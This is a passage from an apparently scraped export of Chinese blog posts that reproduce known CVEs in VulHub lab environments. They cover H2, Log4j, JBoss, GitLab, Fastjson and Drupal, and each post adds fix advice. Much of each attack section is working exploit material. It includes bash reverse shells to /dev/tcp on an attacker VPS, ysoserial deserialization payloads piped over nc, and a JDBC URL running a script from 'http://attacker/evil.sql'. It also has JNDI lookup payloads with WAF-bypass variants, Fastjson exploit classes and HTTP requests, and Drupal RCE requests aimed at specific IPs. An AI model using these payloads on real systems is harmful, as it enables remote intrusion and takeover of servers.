/h2database/h2/src/main/org/h2/server/web/WebServer.java受影响的功能: getConnection 环境搭建docker-compose.yml: 1234567version: '2'services: web: image: vulfocus/h2database_cve_2022_23221 ports: - "8082:8082" - "9082:9082" 漏洞复现 导航到控制台并尝试连接到内存中的H2使用以下JDBC URL创建不存在的数据库: 1jdbc:h2:mem:1337; 请注意,您会收到以下安全异常,阻止您. 从创建新的内存数据库开始: 1Database "mem:1337" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-206] 90149/90149 (帮助) 现在使用以下JDBC URL重试: 1jdbc:h2:mem:1339;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;'\\ 请注意,您已经成功地创建了一个新的内存数据库 创建包含执行以下操作的触发器的SQL文件,Java/javascript/ruby代码,并将其托管在您的域中控制,Example evil.sql file: 123456789CREATE TABLE test ( id INT NOT NULL );CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '--javascriptvar fos = Java.type("java.io.FileOutputStream");var b = new fos ("/tmp/pwnedlolol");';INSERT INTO TEST VALUES (1); 使用以下JDBC URL执行托管在您的连接时的域:() 12jdbc:h2:mem:1337;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPTFROM 'http://attacker/evil.sql';'\\ 修复建议目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://github.com/h2database/h2database/releases/tag/version-2.1.210https://github.com/h2database/h2database/releases/tag/version-2.1.210","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Log4j漏洞复现","path":"/2023/04/05/8b1917af/","content":"总字符数: 5.50K 代码: 1.19K, 文本: 1.66K 预计阅读时间: 12 分钟 Apache Log4j Server 反序列化命令执行(CVE-2017-5645)漏洞概述Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器.Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞.攻击者可利用该漏洞执行任意代码.利用版本: Log4j 2.x<=2.8.1 漏洞复现 需要下载nc并且配置环境变量 然后使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" | nc 192.168.2.187 4712 修复建议 使用Java 7+的用户应立即升级至2.8.2版本或者避免使用socket server的相关类,参考链接 ; 使用Java 6的用户应该避免使用TCP或者UDP 的socket server相关类,用户也可以手动添加2.8.2版本更新的相关代码来解决该漏洞; 目前官方发布了2.9最新版本 ,强烈建议更新到最新版本. Apache Log4j2 lookup JNDI 注入(CVE-2021-44228)漏洞概述利用版本: 2.0到2.14.1版本 漏洞复现 漏洞触发点:http://103.116.46.7:8983/solr/admin/cores?action= 漏洞探测:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.sxy8s9.dnslog.cn} 下载工具进行反弹shellwget https://security-1258894728.cos.ap-beijing.myqcloud.com/writeup/vulhub/log4j/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 运行java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YOUR-BASE64-ENCODE}|{base64,-d}|{bash,-i}" -A "YOUR-ATTACK-VPS-IP" 方式一:网址输入:http://103.116.46.7:8983/solr/admin/cores?action=${jndi:ldap://YOUR-ATTACK-VPS-IP:1389/Exploit} 方式二将上方抓包改为POST传参 结果 修复建议将 log4j-core 升级到 2.15.0 版本接入安全产品第一时间上WAF规则、RASP拦截等措施,给修复争取时间.但是也要注意一些静态规则上的绕过,log4j 支持的写法比较多,有非常多绕过姿势.比如: 1${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc} 删除漏洞类通过删除漏洞类进行修复的方案比较稳,也是官方推荐的一种修复方案.直接删除 log4j jar 包中存在漏洞的类: 1zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 这种修复比较方便快捷,一般业务代码也不会用到 jndi lookup 这个功能.不过可能会对基于版本号判定的安全数据采集造成一定困扰,无法准确统计漏洞的最新受影响情况.建议删除之后在 jar 包后面加上一定的标记,如: log4j-2.14.1.sec.jar另外,由于某些原因不想删除的话,可以自己代码替换原始的 JndiLookup 类,将它加到业务代码中.需要注意的是,必须保证它在 log4j 原类之前加载. 1234567package org.apache.logging.log4j.core.lookup;public class JndiLookup { public JndiLookup() { throw new NoClassDefFoundError("JNDI lookup is disabled"); }} 也可以做成依赖包,在 log4j-core 之前添加,可以实现同样的效果(注意不要引入不可信的第三方依赖,可能导致潜在安全风险,以下配置来源互联网,仅作为示例,请勿直接使用): 12345<dependency> <groupId>org.glavo</groupId> <artifactId>log4j-patch</artifactId> <version>1.0</version></dependency> 当然也可以通过RASP的方式干掉漏洞类,Github上有不少RASP的无损修复方案,比如: 通过配置禁用 log4j 的 lookup 功能禁用的方式就比较多了.然而下面2、3、4这几种方式对低于 2.10 版本的 log4j-core 都没有效果,而且环境变量和启动参数这种设置,在迁移或者变更的过程中丢失的可能性比较大.log4j 在 2.15.0 版本中默认就已经关闭了 lookup 功能.log4j2.component.properties、log4j2.xml 默认放在 ClassPath 路径下,如:源代码的资源目录或者可执行程序所在的当前目录. 设置日志输出 Pattern 格式对于 >=2.7 的版本,在 log4j 中对每一个日志输出格式进行修改.在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广.比如在 log4j2.xml 中配置: 1234567891011121314151617181920<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg{nolookups}%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers></Configuration>public class Test {public static void main(String[] args) {String t = "${jndi:ldap://xxx.com/xxx}";Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME);logger.error(t);}} 设置JVM系统属性在 Java 应用启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者在业务代码中设置系统属性: 1234// 必须在 log4j 实例化之前设置该系统属性System.setProperty("log4j2.formatMsgNoLookups", "true");Logger logger = LogManager.getLogger(LogManager.ROOT_LOGGER_NAME); 修改配置文件在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true,配置文件放置于应用程序的 ClassPath 路径下. 设置进程环境变量在环境变量中增加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true 注意!这些配置和属性,并不能在所有场景下生效,比如在 logstash 中就无法生效: Solutions and Mitigations: The widespread flag -Dlog4j2.formatMsgNoLookups=true does NOT mitigate the vulnerability in Logstash, as Logstash uses Log4j in a way where the flag has no effect. It is therefore necessary to remove the JndiLookup class from the log4j2 core jar, with the following command: zip -q -d /logstash-core/lib/jars/log4j-core-2.* org/apache/logging/log4j/core/lookup/JndiLookup.class https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476 升级JDK版本对于Oracle JDK 11.0.1、8u191、7u201、6u211或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载.对于 RCE 来说,可以起到很直接的缓解作用,可以作为增强型的加固方案.在高版本JDK环境下,JNDI注入也还是存在一定RCE风险,可以参考这篇文章:另外 log4j 漏洞本身除了 RCE,还存在着巨大的攻击面,比如 SSRF、敏感信息泄露等等,威胁非常大,不要企图仅仅通过升级JDK版本来修复漏洞,建议还是老老实实升级.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Jboss漏洞复现","path":"/2023/04/03/30a0d618/","content":"总字符数: 6.20K 代码: 0.82K, 文本: 1.40K 预计阅读时间: 10 分钟 JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)漏洞概述该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中.该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞.利用版本: JBoss AS 5.x JBoss AS 6.x 漏洞复现该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞.直接使用bash来反弹shell(bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1),但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码工具: https://ares-x.com/tools/runtime-exec/https://ares-x.com/tools/runtime-exec/ 服务器监听nc -lvvp 6666 序列化数据生成使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5 1java -jar D:\\LearningWorld\\PersonalProject\\PersonalProject\\Security\\Java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "YOUR-BASH-BASE64ENCODE" > poc.ser 可使用xxd来查看序列化后的数据 发送POC生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可curl http://192.168.2.187:8080/invoker/readonly --data-binary @poc.ser 修复建议首先进入/jboss/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 目录 1234# 进入容器docker exec -it 容器ID /bin/bash#修改文件 vim /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 123456789# 因为P牛靶场的docker里没有vim/vi,因此这里将他下载下来,修改完后再传上去# 在本机docker cp 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml ./vim web.xml将<security-constraint>标签中的<url-pattern>/restricted/*</url-pattern>修改为<url-pattern>/*</url-pattern># 上传到容器docker cp ./web.xml 容器ID:/jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml# 重新查看文件,发现已经变了cat /jboss-6.1.0.Final/server/default/deploy/http-invoker.sar/invoker.war/WEB-INF/web.xml 最后重启一下jboss服务/或者容器 漏洞不再可以访问,可以看到下图已经无法反弹shell了 JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)漏洞概述Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器.JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码.HTTPServerILServlet.java在JMS上JbossMQ实现的HTTP调用层(默认情况下在Red Hat Jboss应用服务器<=Jboss 4.X中启用)不限制执行反序列化的类,允许远程攻击者通过精心设计的序列化数据执行任意代码.利用版本: <=Jboss 4.X 漏洞复现该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现.Payload用CVE-2017-12149的就可以直接打:curl http://192.168.2.187:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser 修复建议 删除commons-collections-*.jar中的三个文件\\org\\apache\\commons\\collections\\functors\\InvokerTransformer.class\\org\\apache\\commons\\collections\\functors\\InstantiateFactory.class\\org\\apache\\commons\\collections\\functors\\InstantiateTransfromer.class 删除$JBOSS_HOME/[server]/all/deploy 和 $JBOSS_HOME/[server]/default/deploy下的Jmx-console.war、Web-console.war两个文件夹 升级版本 JBoss JMXInvokerServlet 反序列化漏洞漏洞概述这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码.利用版本: JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 JBoss AS (Wildly) 6 and earlier JBoss A-MQ 6.2.0 JBoss Fuse 6.2.0 JBoss SOA Platform (SOA-P) 5.3.1 JBoss Data Grid (JDG) 6.5.0 JBoss BRMS (BRMS) 6.1.0 JBoss BPMS (BPMS) 6.1.0 JBoss Data Virtualization (JDV) 6.1.0 JBoss Fuse Service Works (FSW) 6.0.0 JBoss Enterprise Web Server (EWS) 2.1,3.0 漏洞复现JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可.整个过程可参考jboss/CVE-2017-12149直接打:curl http://103.116.46.7:8080/invoker/JMXInvokerServlet --data-binary @poc.ser 修复建议找到 \\jboss\\server\\default\\deploy\\http-invoker.sar\\invoker.war\\WEB-INF\\web.xml将 EJBInvokerServlet 、JMXInvokerServlet servlet的相关配置注释掉,重启后这两个地址就无法访问了,漏洞也就修复了.","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Gitlab漏洞复现","path":"/2023/04/01/6eb0a2c0/","content":"总字符数: 4.25K 代码: 1.03K, 文本: 1.21K 预计阅读时间: 10 分钟 Gitlab 任意文件读取漏洞(CVE-2016-9086)漏洞概述GitLab 是一个利用 Ruby on Rails 开发的开源应用程序,实现一个自托管的 Git 项目仓库,可通过 Web 界面进行访问公开的或者私人项目.近日研究者发现在其多个版本中存在文件读取漏洞 (CVE-2016-9086) 和 任意用户 authentication_token 泄漏漏洞,攻击者可以通过这两个漏洞来获取管理员的权限,进而控制所有 gitlab 项目. 影响版本: 任意文件读取漏洞 (CVE-2016-9086): GitLab CE/EE versions 8.9, 8.10, 8.11, 8.12 GitLav CE/EE version 8.13 任意用户 authentication_token 泄露漏洞: Gitlab CE/EE versions 8.10.3-8.10.5 漏洞复现环境运行后,访问http://your-ip:8080即可查看GitLab主页,其ssh端口为10022,默认管理员账号、密码是root、vulhub123456. 注意,请使用2G及以上内存的VPS或虚拟机运行该环境,实测1G内存的机器无法正常运行GitLab(运行后502错误) 登录用户,新建一个项目,点击GitLab export: 在导入页面,将test.tar.gz上传,将会读取到/etc/passwd文件内容: 修复建议官方先移除了导入包里的软连接,其次,读取 VERSION 的内容和 project.json 的内容出错后将内容输出到日志里而非返回到前端. 建议升级到最新版 GitLab 远程命令执行漏洞(CVE-2021-22205)漏洞概述在11.9以后的GitLab中,因为使用了图片处理工具ExifTool而受到漏洞CVE-2021-22204的影响,攻击者可以通过一个未授权的接口上传一张恶意构造的图片,进而在GitLab服务器上执行任意命令. 利用版本 11.9 <= GitLab(CE/EE)< 13.8.8 13.9 <= GitLab(CE/EE)< 13.9.6 13.10 <= GitLab(CE/EE)< 13.10.3 漏洞复现环境启动后,访问http://your-ip:8080即可查看到GitLab的登录页面. GitLab的/uploads/user接口可以上传图片且无需认证,利用poc.py脚本来测试这个漏洞: 1python poc.py http://your-ip:8080 "curl http://k58p7p.dnslog.cn" 手工复现-有授权上传点账号密码:root/vulhub123456.登录后到个人主页,找到Snippets,新建http://192.168.64.144:8080/-/snippets/new 此处需要上传DjVu格式图片(即Exp) 下载安装DjVuLibre地址 1apt-get install djvumake -y 准备好将要压缩图片的文本 1234(metadata\t(Copyright "\\" . qx{curl http://3436hm.dnslog.cn} . \\" b ") ) 生成Exp 1djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg 上传Exp虽然会上传失败,但是命令是正常执行的 漏洞修复升级到最新版本 Gitlab API未授权SSRF复现(CVE-2021-22214)漏洞描述编号:CVE-2021-22214 Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式.而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml.因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过. 远程攻击者可通过发送特殊构造的HTTP请求,欺骗应用程序向任意系统发起请求.攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求. 利用版本 13.10.5 > GitLab >= 10.5 13.11.5 > GitLab >= 13.11 13.12.2 > GitLab >= 13.12 环境搭建以阿里云centos7.3为例 首先先添加yum源,选择gitlab-ce社区版 1curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash 接着更新下yum缓存 1yum makecache 此时选择存在漏洞的版本安装即可 1yum install gitlab-ce-13.12.1-ce.0.el7 -y 下载完成后使用命令gitlab-ctl reconfigure即可默认配置安装gitlab 漏洞复现poc如下 12345678910111213POST /api/v4/ci/lint HTTP/1.1Host: 192.168.64.144Cache-Control: max-age=0DNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 111{"include_merged_yaml": true, "content": "include: remote: http://6i7mzn.dnslog.cn/api/v1/targets?test.yml"} 修复建议当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本. https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/https://about.gitlab.com/releases/2021/06/01/security-release-gitlab-13-12-2-released/","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Fastjson漏洞复现","path":"/2023/03/11/247b757/","content":"总字符数: 8.01K 代码: 2.73K, 文本: 1.36K 预计阅读时间: 18 分钟 fastjson < 1.2.47才有漏洞如何判断是否有fastjson: {}不闭合有报错 < 1.2.6 使用dos方式看响应时间{"a"="\\x dnslog,容易被waf拦截 漏洞概述fastjson 在解析 json 的过程中,支持使用 autoType 来实例化某一个具体的类,并调用该类的 set/get 方法来访问属性.通过查找代码中相关的方法,即可构造出一些恶意利用链. 根据官方给出的补丁文件,主要的更新在这个 checkAutoType 函数上,而这个函数的主要功能就是添加了黑名单,将一些常用的反序列化利用库都添加到黑名单中. 1.2.24-rce漏洞复现 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java 12345678910111213import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"}); p.waitFor(); } catch (Exception e) { } }} 将TouchFile.Class和marshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下 启动一个RMI服务,加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899 nc监听nc -lvvp 6666 修改下方Payload 12345678910111213141516POST / HTTP/1.1Host: 43.143.129.10:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.2.187:9999/TouchFile", "autoCommit":true }} 结果 反弹 1.2.47-rce漏洞复现 首先将exp进行编译(javac TouchFile.java),将以下内容保存为TouchFile.java 12345678910111213import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime r = Runtime.getRuntime(); Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/YOUR-VPS-IP/6666 0>&1"}); p.waitFor(); } catch (Exception e) { } }} 修改下方Payload 12345678910POST / HTTP/1.1Host: YOUR-IP:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{@type":"java.lang.AutoCloseable" 将TouchFile.Class和marshalsec-0.0.3-SNAPSHOT-all.jar放在同一目录下 12# 使用python 启动服务python3 -m http.server 8080 启动一个RMI服务,加载远程类TouchFile.classjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://YOUR-VPS-IP:8080/#TouchFile" 8899 nc监听nc -lvvp 6666 修改下方Payload 12345678910111213141516171819POST / HTTP/1.1Host: 43.143.129.10:8090User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0Accept-Language: en-US,en;q=0.5Connection: closeContent-Type: application/jsonContent-Length: 35{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://YOUR-VPS-IP:8899/TouchFile", "autoCommit":true } 结果 反弹 修复建议升级JDK 6u211 / 7u201 / 8u191 /11.0.1 升级Fastjson到最新版 fastjson.parser.safeMode=true 使用安全产品过滤非法内容更换其它序列化工具 Jackson/Gson 代码审计某仿天猫项目来进行测试:本地开启mysql服务,添加tmalldemodb数据库,运行/sqls\\文件夹中的tmalldemodb.sql文件使用IDEA打开项目,在resource/application.properties文件配置数据库,启动服务即可 1234前台页面:http://localhost:8088/tmall后台页面:http://localhost:8088/tmall/admin前台测试用户:a120 123456后台管理员:admin 123456 这里为了更好复现漏洞,将pom.xml文件中的fastjson版本换为1.2.47 搜索项目中fastjson反序列化的点(即JSON.parseObject方法): 可以看到,这里对propertyJson进行了反序列化处理: 对propertyJson进行追踪,看到是后台添加商品信息输入了该字段: 访问添加商品的页面,随便添加一个商品,并使用burp监听数据包: 可以看到这里向propertyJson传入了空的json值,我们可以发送到repeater中判断这个点是否正确.使用dnslog来探测fastjson: 12{"@type":"java.net.Inet4Address","val":"dnslog"}{"@type":"java.net.Inet6Address","val":"dnslog"} 尝试对我们的dnslog进行访问: 可以看到成功收到请求: 说明确实这里存在fastjson反序列化的点 尝试对该点进行利用首先编译命令执行的java代码: 123456789101112131415import java.lang.Runtime;import java.lang.Process;public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc.exe"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }} 在本地或vps开启一个web服务,使恶意class文件能够被访问借助marshalsec项目,启动一个RMI服务器,监听9999端口,并指定加载远程类calc.class: 1java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:7777/#Calc" 9999 使用burp发送payload,成功弹出计算器: 1{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Calc","autoCommit":true}}","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Drupal漏洞复现","path":"/2023/03/10/73f4594f/","content":"总字符数: 6.19K 代码: 1.81K, 文本: 1.69K 预计阅读时间: 15 分钟 Drupal < 7.32 “Drupalgeddon” SQL注入漏洞(CVE-2014-3704)环境启动后,访问http://103.116.46.7:8080/install.php即可看到Drupal的安装页面,使用默认配置安装即可. 其中,Mysql数据库名填写drupal,数据库用户名、密码为root,地址为mysql: 安装完成后,访问首页: 该漏洞无需认证,发送如下数据包即可执行恶意SQL语句 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920)环境启动后,访问 http://103.116.46.7:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库 先安装 yaml 扩展 1234567891011121314151617181920212223242526# 进入容器 CONTAINER换成自己的容器IDdocker exec -it CONTAINER /bin/bash# 换镜像源,默认不带vim编辑器,所以用cat换源,可以换成自己喜欢的源cat > sources.list << EOFdeb http://mirrors.163.com/debian/ jessie main non-free contribdeb http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb-src http://mirrors.163.com/debian/ jessie main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-updates main non-free contribdeb-src http://mirrors.163.com/debian/ jessie-backports main non-free contribdeb http://mirrors.163.com/debian-security/ jessie/updates main non-free contribdeb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contribEOF# 安装依赖apt updateapt-get -y install gcc make autoconf libc-dev pkg-configapt-get -y install libyaml-dev# 安装yaml扩展pecl install yamldocker-php-ext-enable yaml.so# 启用 yaml.decode_php 否则无法复现成功echo 'yaml.decode_php = 1 = 1'>>/usr/local/etc/php/conf.d/docker-php-ext-yaml.ini# 退出容器exit# 重启容器,CONTAINER换成自己的容器IDdocker restart CONTAINER 进入安装页面,安装drupal 登录一个管理员账号,访问http://103.116.46.7:8080/admin/config/development/configuration/single/import 如下图所示,Configuration type 选择 Simple configuration,Configuration name 任意填写,Paste your configuration here 中填写PoC如下 !php/object "O:24:\\"GuzzleHttp\\\\Psr7\\\\FnStream\\":2:{s:33:\\"\\0GuzzleHttp\\\\Psr7\\\\FnStream\\0methods\\";a:1:{s:5:\\"close\\";s:7:\\"phpinfo\\";}s:9:\\"_fn_close\\";s:7:\\"phpinfo\\";}" 点击 Import 后可以看到漏洞触发成功,弹出 phpinfo 页面 Tips: 虽然官方 CPE 信息显示从 8.0.0 开始就有该漏洞,但是在 drupal:8.0.0 容器内并没有复现成功,相同操作在 drupal:8.3.0 则可以复现成功,故基础镜像选择drupal:8.3.0 Drupal Drupalgeddon 2 远程代码执行漏洞(CVE-2018-7600)Drupal 是一款用量庞大的CMS,其6/7/8版本的Form API中存在一处远程代码执行漏洞.相关分析如下: https://research.checkpoint.com/uncovering-drupalgeddon-2/https://research.checkpoint.com/uncovering-drupalgeddon-2/ 环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考上一个环境) 我们向安装完成的drupal发送如下数据包: 1234567891011POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1Host: 103.116.46.7:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 103form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id 成功执行代码,这个代码最终执行了id命令: Drupal 远程代码执行漏洞(CVE-2018-7602)环境启动后,访问 http://103.116.46.7:8081/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 参考pimps/CVE-2018-7600的PoC. 如下图所示,执行以下命令即可复现该漏洞.示例命令为 id,如图红框中显示,可以执行该命令 12# "id"为要执行的命令 第一个drupal为用户名 第二个drupal为密码python3 drupa7-CVE-2018-7602.py -c "id" drupal drupal http://103.116.46.7:8081/ Drupal 远程代码执行漏洞(CVE-2019-6339)**利用版本:**Drupal core 7.62之前的7.x版本 8.6.6之前的8.6.x版本 8.5.9之前的8.5.x版本 环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 修改大佬的PoC为自己想要的poc,使用010Editor将图片中的cat /etc/passwd改成你想要的命令,这里改成uname -a,8这个数字为命令的字符数,这里是8个字符 如下图所示,使用管理员用户上传头像,头像图片为构造好的poc Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置. 访问 http://103.116.46.7:8080/admin/config/media/file-system,在 Temporary directory 处输入之前上传的图片路径,示例为 phar://./sites/default/files/pictures/2022-10/blog-ZDI-CAN-7232-cat.jpg,保存后将触发该漏洞.如下图所示,触发成功.容器内不带ping和curl命令,请勿尝试dnslog,亲测 Drupal XSS漏洞(CVE-2019-6341) 影响软件:Drupal 方式:通过文件模块或者子系统上传恶意文件触发XSS漏洞 参考链接:Drupal 1-click to RCE 分析 效果:JS代码执行(Cookies 资料窃取、会话劫持、钓鱼欺骗、网页挂马等) 环境启动后,访问 http://your-ip:8080/ 将会看到drupal的安装页面,一路默认配置下一步安装.因为没有mysql环境,所以安装的时候可以选择sqlite数据库(参考CVE-2017-6920) 该漏洞需要利用drupal文件模块上传文件的漏洞,伪造一个图片文件,上传,文件的内容实际是一段HTML代码,内嵌JS,这样其他用户在访问这个链接时,就可能触发XSS漏洞. Drupal 的图片默认存储位置为 /sites/default/files/pictures/<YYYY-MM>/,默认存储名称为其原来的名称,所以之后在利用漏洞时,可以知道上传后的图片的具体位置. 使用PoC上传构造好的伪造GIF文件,PoC参考thezdi/PoC的PoC.将poc中的$port = 80;改为$argv[1] 如图,输入如下命令,即可使用PoC构造样本并完成上传功能,第一个参数为目标IP 第二个参数为目标端口. 1php cve-2019-6341-exp.php 103.116.46.7 8080 上传成功后,访问图片位置,即可触发 XSS 漏洞,如下图所示. Tips: 因为 Chrome 和 FireFox 浏览器自带部分过滤 XSS 功能,所以验证存在时可使用 Edge 浏览器或者 IE 浏览器. 访问的图片名称为_0的原因是因为 Drupal 的规则机制,具体原理见Drupal 1-click to RCE 分析","tags":["Nday","渗透测试","漏洞利用","VulHub"]},{"title":"VulHub-Django漏洞复现","path":"/2023/03/09/5cba5df7/","content":"总字符数: 8.11K 代码: 2.02K, 文本: 2.54K 预计阅读时间: 20 分钟 Flask(Jinja2) 服务端模板注入漏洞漏洞描述Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站.Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架.这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表.Flask 